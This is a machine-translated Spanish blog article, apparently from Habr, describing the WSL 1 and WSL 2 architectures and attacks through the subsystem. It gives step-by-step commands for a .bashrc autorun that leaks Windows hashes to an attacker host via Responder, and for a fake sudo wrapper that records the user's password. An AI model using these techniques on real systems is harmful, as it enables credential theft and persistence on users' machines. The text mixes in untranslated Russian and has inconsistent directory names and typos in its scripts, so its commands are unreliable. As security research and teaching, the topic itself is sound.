¡Hola habr! OTUS lanza una nueva corriente de cursos en octubre . Anticipándonos al inicio del curso, compartimos con ustedes un artículo escrito por uno de nuestros profesores, Alexander Kolesnikov.
En 2016, Microsoft presentó la nueva tecnología WSL a la comunidad de TI (WIndows Subsistema para Linux), que en el futuro permitió unir a competidores previamente irreconciliables que luchaban por la popularidad entre los usuarios de sistemas operativos tanto comunes como avanzados: Windows y Linux. Esta tecnología hizo posible utilizar herramientas del sistema operativo Linux en un entorno Windows sin la necesidad de ejecutar Linux, por ejemplo, mediante arranque múltiple. En Habr puede encontrar una gran cantidad de artículos que describen los beneficios de usar WSL. Sin embargo, desafortunadamente, en el momento de redactar este artículo, no se encontraron en este recurso estudios sobre la seguridad de tal simbiosis de sistemas operativos. Esta publicación será un intento de corregir esto. El artículo hablará sobre las características de las arquitecturas WSL 1 y 2 y examinará varios ejemplos de ataques a sistemas que utilizan estas tecnologías. El artículo se divide en 2 partes. El primero proporcionará los principales métodos de ataque teóricos desde Linux y Windows. El segundo artículo implicará configurar un entorno de prueba y reproducir los ataques.
WSL 1: características arquitectónicas
Para profundizar con mayor precisión en los problemas de seguridad de WSL, es necesario determinar los principales matices asociados con la implementación del subsistema. Una de las principales tareas del usuario que resuelve WSL es la capacidad de trabajar a través de una terminal Linux en un host que ejecuta el sistema operativo Windows. Además, la compatibilidad ofrecida era tan nativa que los ejecutables de Linux (ELF) podían ejecutarse directamente en un sistema Windows. Para lograr estos objetivos, se creó un subsistema especial en Windows 10 que le permite ejecutar aplicaciones de Linux utilizando un conjunto de llamadas al sistema específicas; por lo tanto, se intentó asignar un conjunto de llamadas al sistema de Linux en Windows. Esto se implementó físicamente agregando nuevos controladores y un nuevo formato de proceso. Visualmente la arquitectura se veía así:
De hecho, la interacción con el sistema operativo Linux se organizó a través de varios módulos del kernel y un tipo especial de proceso: pico. En el diagrama anterior, puede ver que el proceso que se ejecuta en la instancia de Linux en el host debe ser nativo y debe utilizar los mismos recursos que las aplicaciones normales de Windows. ¿Pero cómo lograrlo? En proyecto Se desarrollaron conceptos de proceso para Windows que proporcionaban todos los componentes necesarios del sistema operativo (dependiendo de su versión) para ejecutar una aplicación de otro SO.
Tenga en cuenta que la abstracción propuesta permitió no centrarse en el sistema operativo (en particular, Windows), en el que se espera que se inicie el proceso de otro sistema operativo, y sugirió un enfoque general.
Por lo tanto, cualquier aplicación dentro del proceso pico podría ejecutarse sin tener en cuenta el kernel de Windows:
- Los problemas de compatibilidad y traducción de las llamadas al sistema deben ser resueltos por proveedores especiales;
- El control de acceso debe realizarse a través del Monitor de Seguridad. El monitor está ubicado en el kernel y, por lo tanto, Windows necesitaba una actualización en forma de un nuevo controlador que pudiera actuar como proveedor de dichos procesos. El prototipo de pico proceso se presenta esquemáticamente a continuación:
Dado que el sistema de archivos de Linux utiliza nombres de archivos y directorios que distinguen entre mayúsculas y minúsculas, se agregaron 2 tipos de sistemas de archivos a Windows para trabajar con WSL: VolFS y DriveFS. VolFS es una implementación del sistema de archivos de Linux, DriveFS es un sistema de archivos que funciona de acuerdo con las reglas de Windows, pero tiene la capacidad de seleccionar entre mayúsculas y minúsculas.
WSL 2
WSL 1 tenía una serie de limitaciones que no permitían su uso para resolver la máxima gama de tareas: por ejemplo, no podía ejecutar aplicaciones Linux de 32 bits y era imposible utilizar controladores de dispositivos. Por lo tanto, en 2020 se lanzó WSL 2, que cambió el enfoque para construir el subsistema. WSL 2 es una máquina virtual optimizada que coincide con las características de consumo de recursos de WSL 1. Ahora, dependiendo de los problemas resueltos por el usuario del sistema operativo Windows, puede seleccionar la versión requerida del subsistema Linux. Para mitigar posibles vulnerabilidades, se implementó WSL 2 basado en Hyper-V en Windows 10. De esta forma, Windows tiene la capacidad de ejecutar el kernel del sistema operativo Linux de forma aislada. Vale la pena recordar que la versión 1 de WSL se introdujo como una característica beta que debía mostrar la dirección del desarrollo de Windows en esta área, por lo que la transición a Hyper-V fue inevitable. La arquitectura final se ve así:
En esta versión, los kernels de Windows y Linux tienen sus propios recursos y la intersección existe solo en el sistema de archivos, pero esta intersección no está completa. La interacción entre sistemas de archivos se realiza a través de un contenedor cliente-servidor que funciona mediante el protocolo 9P.
Hoy en día, Microsoft ofrece la posibilidad de cambiar entre WSL 1 y WSL 2. Ambas versiones están disponibles para su uso.
Seguridad WSL
Por el momento, existen varios trabajos que describen algunos enfoques para utilizar herramientas legítimas del sistema operativo para atacar la comunicación entre subsistemas. Usaremos sus scripts para comprobar la relevancia de los ataques en el momento de escribir este artículo. Lista general de ataques y escenarios:
1. Implementación del sistema de archivos: derechos de acceso, disponibilidad de directorios compartidos/mecanismos de intercambio de datos.
Se llevó a cabo una investigación para determinar violaciones de las reglas de acceso de Linux FS->Windows FS, Windows FS->Linux FS. Las investigaciones han demostrado la capacidad de modificar un archivo determinado dentro del sistema operativo de destino. También se intentó sustituir, crear duplicados y eliminar parte de los sistemas de archivos.
Escenario:
- A. Ataque desde el sistema operativo Windows: modificación de archivos del directorio /etc del sistema operativo Linux.
- B. Ataque desde el sistema operativo Linux - modificación de archivos en directorios:
C:Windows,C:Program Files,C:Users<User>
2. Implementación de la pila de red.
La investigación se llevó a cabo utilizando ejemplos de ataques del sistema operativo Linux a Windows. Se utilizaron las características de la pila de red, es decir, mecanismos de autenticación en varios recursos.
Escenario:
- Abrir el acceso a un puerto que está ocupado en un sistema Windows
- Abrir un puerto sin los derechos adecuados
- Ejecutando shell inverso usando un archivo elf en el sistema operativo Windows.
3. Ocultar el inicio de procesos de software malicioso utilizando el subsistema WSL.
La investigación se basó en un hecho simple: los subsistemas de seguridad no pueden interceptar eventos en otro kernel que funcione utilizando un proveedor legítimo del sistema operativo en el caso de WSL 1. En el caso de WSL 2, no hay forma de ver los eventos que ocurren. en un kernel separado dentro de una máquina virtual liviana.
Escenario:
1) Inicie la aplicación para acceso remoto al sistema y vea los eventos registrados.
Experimentos WSL 1: interceptación de hash (Windows)
Finalmente llegamos a la parte práctica. Primero, necesita configurar el entorno de prueba. Todos los experimentos se llevarán a cabo en un banco con Windows 10 2004 instalado. Se eligió la imagen de Ubuntu 18.04 como imagen del sistema operativo para WSL. La imagen fue elegida al azar, cualquier otra funcionará igual. Comandos para montar un stand:
Primero debes iniciar powershell.exe como administrador.
Para WSL 1 necesitas ejecutar los comandos:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Después de reiniciar el soporte, puede llamar al comando bash. Si todo funcionó correctamente, verá un resultado similar a este en la consola de Windows:
Usaremos la distribución Kali Linux como máquina del atacante; todas las máquinas deben estar en la misma red local.
Supongamos que tenemos acceso sin privilegios a WSL en una máquina con Windows. Intentemos atacar el sistema operativo Linux llamando a un comando desde Linux. Para implementar el ataque, usaremos una técnica de ejecución automática simple: agregaremos nuestro script para ejecutarlo en el entorno Linux. Para hacer esto necesitas cambiar el archivo. .bashrc.
En una máquina con WSL ejecutamos:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitEn una máquina Kali Linux ejecutamos:
1. Responder -I eth0 -rdvwEn una máquina con Windows, iniciemos bash.
Estamos esperando el resultado en la máquina Kali Linux:
Así, obtuvimos los hashes del usuario de Windows a través del subsistema WSL ejecutando el comando en el sistema Linux.
Experimentos WSL 1: obtención de contraseña de usuario (sistema operativo Linux)
Hagamos un experimento más. Durante esta verificación agregaremos al archivo .bashrc varios comandos para obtener la contraseña de usuario del sistema operativo Linux.
Iniciemos bash e ingresemos los comandos:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Para completar con éxito el ataque, el usuario Sam debe llamar a sudo en la terminal de Linux. Después de esto, la contraseña de usuario del sistema operativo Linux estará en el archivo pass.txt:
La implementación de los ataques se proporcionó únicamente como información teórica.
La siguiente parte del artículo describirá la implementación del protocolo 9P, considerará la creación de un escáner para este protocolo y también llevará a cabo un ataque usándolo.
Lista de literatura usada
Lee mas
Fuente: habr.com